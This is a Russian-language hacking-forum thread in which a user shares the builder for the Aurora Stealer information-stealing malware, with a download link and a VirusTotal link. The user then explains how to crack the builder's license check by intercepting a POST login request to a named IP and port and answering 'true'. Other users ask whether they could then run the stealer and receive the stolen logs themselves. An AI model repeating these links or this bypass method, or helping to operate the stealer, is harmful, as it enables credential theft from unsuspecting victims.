Original Aurora Stealer Builder

[DeCoded]

Оригинал Авроры, пытался крякнуть, но там надо перехватить запрос на 185.106.93.237:6969 и ответить true

Шеллы вырезаны

[REACTS=1]
DW: https://mega.nz/folder/G1dDwRLD#aDSfpDqIivV-uHv0SAJ6eA
VirusTotal: https://www.virustotal.com/gui/file/82729b65bbb50eb36EkRHLyviZMtSjodB4gByQJwyYxPmBE1xc08113a1d
[/REACTS]

 

[NiggaByte+REP]

имеется ввиду что можно юзать самому и логи тебе стучать будут?

 

[DeCoded]

NiggaByte+REP, емли крякнешь, то да, часть исследований я изложил в теме

 

[RATNICK]

Добрый вечер. А там сервер который вы упомянули на выши. Оно делает какой-то response?

 

[DeCoded]

RATNICK, добрый, сервер мертв, ответа нет, так что перехватить еще проще

 

[RATNICK]

DeCoded, Если было б какой то response можно было по фасту сделать :). Буду капать что к чему

 

[DeCoded]

RATNICK, там надо вернуть true в ответе на запрос, запрос POST с параметрами Method (Login), Login, Password

 

[Andeground]

RATNICK, В лс. загляни